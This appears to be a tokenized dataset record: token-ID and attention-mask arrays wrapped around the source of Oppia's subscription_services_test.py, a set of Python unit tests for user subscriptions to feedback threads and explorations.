32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1639, 14, 2828, 14, 10675, 14, 10458, 492, 2274, 63, 72, 1617, 63, 2232, 199, 504, 1639, 14, 697, 14, 7685, 14, 8170, 14, 1095, 492, 17954, 421, 199, 533, 2790, 6382, 8, 6044, 304, 272, 29465, 1164, 275, 715, 339, 347, 636, 826, 721, 277, 12, 536, 304, 267, 291, 14, 354, 275, 536, 339, 347, 1174, 63, 19159, 8, 277, 12, 1145, 63, 1302, 12, 1174, 304, 267, 986, 339, 347, 3050, 63, 19159, 8, 277, 12, 1145, 63, 1302, 12, 4177, 63, 7515, 12, 687, 63, 929, 12, 370, 63, 929, 304, 267, 340, 4177, 63, 7515, 14, 2105, 14, 9884, 1137, 283, 15437, 356, 288, 372, 267, 4177, 63, 7515, 14, 2526, 480, 8366, 20203, 742, 3579, 8036, 2845, 23875, 450, 83, 2, 450, 4177, 63, 7515, 14, 3513, 63, 354, 8, 277, 14, 354, 430, 339, 347, 3050, 63, 22269, 8, 277, 12, 1145, 63, 1302, 12, 4177, 63, 7515, 12, 687, 63, 929, 12, 370, 63, 929, 304, 267, 4177, 63, 7515, 14, 2526, 480, 14764, 20203, 742, 3579, 450, 83, 2, 450, 4177, 63, 7515, 14, 3513, 63, 354, 8, 277, 14, 354, 430, 339, 347, 13743, 8, 277, 304, 267, 372, 298, 10607, 3329, 450, 83, 2, 450, 291, 14, 354, 421, 199, 533, 869, 5502, 6382, 8, 2499, 6382, 304, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 354, 275, 283, 72, 1617, 7, 339, 347, 3050, 63, 19159, 8, 277, 12, 1145, 63, 1302, 12, 4177, 63, 7515, 12, 687, 63, 929, 12, 370, 63, 929, 304, 267, 1613, 8, 40, 5502, 6382, 12, 291, 680, 4659, 63, 19159, 8, 571, 63, 1302, 12, 4177, 63, 7515, 12, 687, 63, 929, 12, 370, 63, 929, 9, 267, 327, 11828, 394, 1617, 23669, 13437, 465, 652, 3913, 506, 4224, 2544, 314, 267, 327, 3329, 365, 4903, 12, 282, 13372, 666, 8367, 3955, 675, 314, 267, 327, 2011, 1950, 267, 2274, 63, 72, 1617, 63, 2232, 8, 3629, 63, 7515, 14, 2105, 9, 421, 199, 533, 1910, 18028, 6382, 8, 2499, 6382, 304, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 354, 275, 283, 324, 18028, 7, 421, 199, 533, 12480, 1679, 6382, 8, 2499, 6382, 304, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 354, 275, 283, 4198, 63, 454, 13844, 7, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
infinyte/oppia
core/domain/subscription_services_test.py
13
8327
# coding: utf-8 # # Copyright 2014 The Oppia Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for subscription management.""" __author__ = 'Sean Lip' from core.domain import exp_domain from core.domain import exp_services from core.domain import feedback_services from core.domain import rights_manager from core.domain import subscription_services from core.platform import models (user_models,) = models.Registry.import_models([ models.NAMES.user ]) from core.tests import test_utils class SubscriptionsTest(test_utils.GenericTestBase): """Tests for subscription management.""" OWNER_2_EMAIL = 'owner2@example.com' OWNER2_USERNAME = 'owner2' def setUp(self): super(SubscriptionsTest, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(self.EDITOR_EMAIL, self.EDITOR_USERNAME) self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) self.signup(self.OWNER_2_EMAIL, self.OWNER2_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.editor_id = self.get_user_id_from_email(self.EDITOR_EMAIL) self.viewer_id = self.get_user_id_from_email(self.VIEWER_EMAIL) self.owner_2_id = self.get_user_id_from_email(self.OWNER_2_EMAIL) def _get_thread_ids_subscribed_to(self, user_id): subscriptions_model = user_models.UserSubscriptionsModel.get( user_id, strict=False) return ( subscriptions_model.feedback_thread_ids if subscriptions_model else []) def _get_activity_ids_subscribed_to(self, user_id): subscriptions_model = user_models.UserSubscriptionsModel.get( user_id, strict=False) return ( subscriptions_model.activity_ids if subscriptions_model else []) def test_subscribe_to_feedback_thread(self): USER_ID = 'user_id' self.assertEqual(self._get_thread_ids_subscribed_to(USER_ID), []) FEEDBACK_THREAD_ID = 'fthread_id' subscription_services.subscribe_to_thread(USER_ID, FEEDBACK_THREAD_ID) self.assertEqual( self._get_thread_ids_subscribed_to(USER_ID), [FEEDBACK_THREAD_ID]) # Repeated subscriptions to the same thread have no effect. subscription_services.subscribe_to_thread(USER_ID, FEEDBACK_THREAD_ID) self.assertEqual( self._get_thread_ids_subscribed_to(USER_ID), [FEEDBACK_THREAD_ID]) FEEDBACK_THREAD_2_ID = 'fthread_id_2' subscription_services.subscribe_to_thread( USER_ID, FEEDBACK_THREAD_2_ID) self.assertEqual( self._get_thread_ids_subscribed_to(USER_ID), [FEEDBACK_THREAD_ID, FEEDBACK_THREAD_2_ID]) def test_subscribe_to_activity(self): USER_ID = 'user_id' self.assertEqual(self._get_activity_ids_subscribed_to(USER_ID), []) ACTIVITY_ID = 'activity_id' subscription_services.subscribe_to_activity(USER_ID, ACTIVITY_ID) self.assertEqual( self._get_activity_ids_subscribed_to(USER_ID), [ACTIVITY_ID]) # Repeated subscriptions to the same activity have no effect. subscription_services.subscribe_to_activity(USER_ID, ACTIVITY_ID) self.assertEqual( self._get_activity_ids_subscribed_to(USER_ID), [ACTIVITY_ID]) ACTIVITY_2_ID = 'activity_id_2' subscription_services.subscribe_to_activity(USER_ID, ACTIVITY_2_ID) self.assertEqual( self._get_activity_ids_subscribed_to(USER_ID), [ACTIVITY_ID, ACTIVITY_2_ID]) def test_thread_and_activity_subscriptions_are_tracked_individually(self): USER_ID = 'user_id' FEEDBACK_THREAD_ID = 'fthread_id' ACTIVITY_ID = 'activity_id' self.assertEqual(self._get_thread_ids_subscribed_to(USER_ID), []) subscription_services.subscribe_to_thread(USER_ID, FEEDBACK_THREAD_ID) subscription_services.subscribe_to_activity(USER_ID, ACTIVITY_ID) self.assertEqual( self._get_thread_ids_subscribed_to(USER_ID), [FEEDBACK_THREAD_ID]) self.assertEqual( self._get_activity_ids_subscribed_to(USER_ID), [ACTIVITY_ID]) def test_posting_to_feedback_thread_results_in_subscription(self): # The viewer posts a message to the thread. MESSAGE_TEXT = 'text' feedback_services.create_thread( 'exp_id', 'state_name', self.viewer_id, 'subject', MESSAGE_TEXT) thread_ids_subscribed_to = self._get_thread_ids_subscribed_to( self.viewer_id) self.assertEqual(len(thread_ids_subscribed_to), 1) thread_id = thread_ids_subscribed_to[0] self.assertEqual( feedback_services.get_messages(thread_id)[0]['text'], MESSAGE_TEXT) # The editor posts a follow-up message to the thread. NEW_MESSAGE_TEXT = 'new text' feedback_services.create_message( thread_id, self.editor_id, '', '', NEW_MESSAGE_TEXT) # The viewer and editor are now both subscribed to the thread. self.assertEqual( self._get_thread_ids_subscribed_to(self.viewer_id), [thread_id]) self.assertEqual( self._get_thread_ids_subscribed_to(self.editor_id), [thread_id]) def test_creating_exploration_results_in_subscription(self): EXP_ID = 'exp_id' USER_ID = 'user_id' self.assertEqual( self._get_activity_ids_subscribed_to(USER_ID), []) exp_services.save_new_exploration( USER_ID, exp_domain.Exploration.create_default_exploration( EXP_ID, 'Title', 'Category')) self.assertEqual( self._get_activity_ids_subscribed_to(USER_ID), [EXP_ID]) def test_adding_new_owner_or_editor_role_results_in_subscription(self): EXP_ID = 'exp_id' exploration = exp_domain.Exploration.create_default_exploration( EXP_ID, 'Title', 'Category') exp_services.save_new_exploration(self.owner_id, exploration) self.assertEqual( self._get_activity_ids_subscribed_to(self.owner_2_id), []) rights_manager.assign_role( self.owner_id, EXP_ID, self.owner_2_id, rights_manager.ROLE_OWNER) self.assertEqual( self._get_activity_ids_subscribed_to(self.owner_2_id), [EXP_ID]) self.assertEqual( self._get_activity_ids_subscribed_to(self.editor_id), []) rights_manager.assign_role( self.owner_id, EXP_ID, self.editor_id, rights_manager.ROLE_EDITOR) self.assertEqual( self._get_activity_ids_subscribed_to(self.editor_id), [EXP_ID]) def test_adding_new_viewer_role_does_not_result_in_subscription(self): EXP_ID = 'exp_id' exploration = exp_domain.Exploration.create_default_exploration( EXP_ID, 'Title', 'Category') exp_services.save_new_exploration(self.owner_id, exploration) self.assertEqual( self._get_activity_ids_subscribed_to(self.viewer_id), []) rights_manager.assign_role( self.owner_id, EXP_ID, self.viewer_id, rights_manager.ROLE_VIEWER) self.assertEqual( self._get_activity_ids_subscribed_to(self.viewer_id), []) def test_deleting_activity_does_not_delete_subscription(self): EXP_ID = 'exp_id' exploration = exp_domain.Exploration.create_default_exploration( EXP_ID, 'Title', 'Category') exp_services.save_new_exploration(self.owner_id, exploration) self.assertEqual( self._get_activity_ids_subscribed_to(self.owner_id), [EXP_ID]) exp_services.delete_exploration(self.owner_id, EXP_ID) self.assertEqual( self._get_activity_ids_subscribed_to(self.owner_id), [EXP_ID])
apache-2.0
[ 3, 2803, 26, 2774, 13, 24, 199, 3, 199, 3, 1898, 6927, 710, 593, 802, 4674, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 13, 1311, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 2925, 367, 9966, 10041, 1041, 199, 199, 363, 2502, 363, 275, 283, 1513, 290, 491, 711, 7, 199, 199, 504, 6170, 14, 2261, 492, 1437, 63, 2261, 199, 504, 6170, 14, 2261, 492, 1437, 63, 5950, 199, 504, 6170, 14, 2261, 492, 17145, 63, 5950, 199, 504, 6170, 14, 2261, 492, 4481, 63, 2609, 199, 504, 6170, 14, 2261, 492, 9966, 63, 5950, 199, 504, 6170, 14, 3246, 492, 1709, 199, 8, 751, 63, 992, 4258, 275, 1709, 14, 10899, 14, 646, 63, 992, 779, 272, 1709, 14, 14546, 14, 751, 199, 566, 199, 504, 6170, 14, 2219, 492, 511, 63, 1208, 421, 199, 533, 29763, 26935, 8, 396, 63, 1208, 14, 9417, 14440, 304, 272, 408, 2925, 367, 9966, 10041, 1041, 339, 11489, 63, 18, 63, 10089, 275, 283, 4597, 18, 32, 2694, 14, 957, 7, 272, 11489, 18, 63, 11958, 275, 283, 4597, 18, 7, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 19120, 26935, 12, 291, 680, 5996, 342, 267, 291, 14, 19799, 8, 277, 14, 22307, 63, 10089, 12, 291, 14, 22307, 63, 11958, 9, 267, 291, 14, 19799, 8, 277, 14, 17929, 726, 63, 10089, 12, 291, 14, 17929, 726, 63, 11958, 9, 267, 291, 14, 19799, 8, 277, 14, 12058, 540, 63, 10089, 12, 291, 14, 12058, 540, 63, 11958, 9, 267, 291, 14, 19799, 8, 277, 14, 22307, 63, 18, 63, 10089, 12, 291, 14, 22307, 18, 63, 11958, 9, 398, 291, 14, 4597, 63, 344, 275, 291, 14, 362, 63, 751, 63, 344, 63, 504, 63, 2123, 8, 277, 14, 22307, 63, 10089, 9, 267, 291, 14, 7515, 63, 344, 275, 291, 14, 362, 63, 751, 63, 344, 63, 504, 63, 2123, 8, 277, 14, 17929, 726, 63, 10089, 9, 267, 291, 14, 16645, 63, 344, 275, 291, 14, 362, 63, 751, 63, 344, 63, 504, 63, 2123, 8, 277, 14, 12058, 540, 63, 10089, 9, 267, 291, 14, 4597, 63, 18, 63, 344, 275, 291, 14, 362, 63, 751, 63, 344, 63, 504, 63, 2123, 8, 277, 14, 22307, 63, 18, 63, 10089, 9, 339, 347, 485, 362, 63, 2671, 63, 1580, 63, 23178, 63, 475, 8, 277, 12, 922, 63, 344, 304, 267, 25708, 63, 1238, 275, 922, 63, 992, 14, 1899, 19120, 83, 1685, 14, 362, 8, 288, 922, 63, 344, 12, 7478, 29, 797, 9, 267, 372, 334, 288, 25708, 63, 1238, 14, 13485, 63, 2671, 63, 1580, 288, 340, 25708, 63, 1238, 587, 3073, 339, 347, 485, 362, 63, 8240, 63, 1580, 63, 23178, 63, 475, 8, 277, 12, 922, 63, 344, 304, 267, 25708, 63, 1238, 275, 922, 63, 992, 14, 1899, 19120, 83, 1685, 14, 362, 8, 288, 922, 63, 344, 12, 7478, 29, 797, 9, 267, 372, 334, 288, 25708, 63, 1238, 14, 8240, 63, 1580, 288, 340, 25708, 63, 1238, 587, 3073, 339, 347, 511, 63, 10108, 63, 475, 63, 13485, 63, 2671, 8, 277, 304, 267, 13044, 63, 998, 275, 283, 751, 63, 344, 7, 267, 291, 14, 629, 8, 277, 423, 362, 63, 2671, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 3073, 398, 21567, 7111, 63, 16103, 63, 998, 275, 283, 70, 2671, 63, 344, 7, 267, 9966, 63, 5950, 14, 10108, 63, 475, 63, 2671, 8, 3791, 63, 998, 12, 21567, 7111, 63, 16103, 63, 998, 9, 267, 291, 14, 629, 8, 288, 291, 423, 362, 63, 2671, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 359, 18068, 7111, 63, 16103, 63, 998, 566, 398, 327, 21973, 972, 25708, 370, 314, 2011, 2462, 1172, 949, 7763, 14, 267, 9966, 63, 5950, 14, 10108, 63, 475, 63, 2671, 8, 3791, 63, 998, 12, 21567, 7111, 63, 16103, 63, 998, 9, 267, 291, 14, 629, 8, 288, 291, 423, 362, 63, 2671, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 359, 18068, 7111, 63, 16103, 63, 998, 566, 398, 21567, 7111, 63, 16103, 63, 18, 63, 998, 275, 283, 70, 2671, 63, 344, 63, 18, 7, 267, 9966, 63, 5950, 14, 10108, 63, 475, 63, 2671, 8, 288, 13044, 63, 998, 12, 21567, 7111, 63, 16103, 63, 18, 63, 998, 9, 267, 291, 14, 629, 8, 288, 291, 423, 362, 63, 2671, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 288, 359, 18068, 7111, 63, 16103, 63, 998, 12, 21567, 7111, 63, 16103, 63, 18, 63, 998, 566, 339, 347, 511, 63, 10108, 63, 475, 63, 8240, 8, 277, 304, 267, 13044, 63, 998, 275, 283, 751, 63, 344, 7, 267, 291, 14, 629, 8, 277, 423, 362, 63, 8240, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 3073, 398, 21401, 6882, 1922, 63, 998, 275, 283, 8240, 63, 344, 7, 267, 9966, 63, 5950, 14, 10108, 63, 475, 63, 8240, 8, 3791, 63, 998, 12, 21401, 6882, 1922, 63, 998, 9, 267, 291, 14, 629, 8, 288, 291, 423, 362, 63, 8240, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 359, 20425, 1922, 63, 998, 566, 398, 327, 21973, 972, 25708, 370, 314, 2011, 10679, 1172, 949, 7763, 14, 267, 9966, 63, 5950, 14, 10108, 63, 475, 63, 8240, 8, 3791, 63, 998, 12, 21401, 6882, 1922, 63 ]
[ 2803, 26, 2774, 13, 24, 199, 3, 199, 3, 1898, 6927, 710, 593, 802, 4674, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 13, 1311, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 2925, 367, 9966, 10041, 1041, 199, 199, 363, 2502, 363, 275, 283, 1513, 290, 491, 711, 7, 199, 199, 504, 6170, 14, 2261, 492, 1437, 63, 2261, 199, 504, 6170, 14, 2261, 492, 1437, 63, 5950, 199, 504, 6170, 14, 2261, 492, 17145, 63, 5950, 199, 504, 6170, 14, 2261, 492, 4481, 63, 2609, 199, 504, 6170, 14, 2261, 492, 9966, 63, 5950, 199, 504, 6170, 14, 3246, 492, 1709, 199, 8, 751, 63, 992, 4258, 275, 1709, 14, 10899, 14, 646, 63, 992, 779, 272, 1709, 14, 14546, 14, 751, 199, 566, 199, 504, 6170, 14, 2219, 492, 511, 63, 1208, 421, 199, 533, 29763, 26935, 8, 396, 63, 1208, 14, 9417, 14440, 304, 272, 408, 2925, 367, 9966, 10041, 1041, 339, 11489, 63, 18, 63, 10089, 275, 283, 4597, 18, 32, 2694, 14, 957, 7, 272, 11489, 18, 63, 11958, 275, 283, 4597, 18, 7, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 19120, 26935, 12, 291, 680, 5996, 342, 267, 291, 14, 19799, 8, 277, 14, 22307, 63, 10089, 12, 291, 14, 22307, 63, 11958, 9, 267, 291, 14, 19799, 8, 277, 14, 17929, 726, 63, 10089, 12, 291, 14, 17929, 726, 63, 11958, 9, 267, 291, 14, 19799, 8, 277, 14, 12058, 540, 63, 10089, 12, 291, 14, 12058, 540, 63, 11958, 9, 267, 291, 14, 19799, 8, 277, 14, 22307, 63, 18, 63, 10089, 12, 291, 14, 22307, 18, 63, 11958, 9, 398, 291, 14, 4597, 63, 344, 275, 291, 14, 362, 63, 751, 63, 344, 63, 504, 63, 2123, 8, 277, 14, 22307, 63, 10089, 9, 267, 291, 14, 7515, 63, 344, 275, 291, 14, 362, 63, 751, 63, 344, 63, 504, 63, 2123, 8, 277, 14, 17929, 726, 63, 10089, 9, 267, 291, 14, 16645, 63, 344, 275, 291, 14, 362, 63, 751, 63, 344, 63, 504, 63, 2123, 8, 277, 14, 12058, 540, 63, 10089, 9, 267, 291, 14, 4597, 63, 18, 63, 344, 275, 291, 14, 362, 63, 751, 63, 344, 63, 504, 63, 2123, 8, 277, 14, 22307, 63, 18, 63, 10089, 9, 339, 347, 485, 362, 63, 2671, 63, 1580, 63, 23178, 63, 475, 8, 277, 12, 922, 63, 344, 304, 267, 25708, 63, 1238, 275, 922, 63, 992, 14, 1899, 19120, 83, 1685, 14, 362, 8, 288, 922, 63, 344, 12, 7478, 29, 797, 9, 267, 372, 334, 288, 25708, 63, 1238, 14, 13485, 63, 2671, 63, 1580, 288, 340, 25708, 63, 1238, 587, 3073, 339, 347, 485, 362, 63, 8240, 63, 1580, 63, 23178, 63, 475, 8, 277, 12, 922, 63, 344, 304, 267, 25708, 63, 1238, 275, 922, 63, 992, 14, 1899, 19120, 83, 1685, 14, 362, 8, 288, 922, 63, 344, 12, 7478, 29, 797, 9, 267, 372, 334, 288, 25708, 63, 1238, 14, 8240, 63, 1580, 288, 340, 25708, 63, 1238, 587, 3073, 339, 347, 511, 63, 10108, 63, 475, 63, 13485, 63, 2671, 8, 277, 304, 267, 13044, 63, 998, 275, 283, 751, 63, 344, 7, 267, 291, 14, 629, 8, 277, 423, 362, 63, 2671, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 3073, 398, 21567, 7111, 63, 16103, 63, 998, 275, 283, 70, 2671, 63, 344, 7, 267, 9966, 63, 5950, 14, 10108, 63, 475, 63, 2671, 8, 3791, 63, 998, 12, 21567, 7111, 63, 16103, 63, 998, 9, 267, 291, 14, 629, 8, 288, 291, 423, 362, 63, 2671, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 359, 18068, 7111, 63, 16103, 63, 998, 566, 398, 327, 21973, 972, 25708, 370, 314, 2011, 2462, 1172, 949, 7763, 14, 267, 9966, 63, 5950, 14, 10108, 63, 475, 63, 2671, 8, 3791, 63, 998, 12, 21567, 7111, 63, 16103, 63, 998, 9, 267, 291, 14, 629, 8, 288, 291, 423, 362, 63, 2671, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 359, 18068, 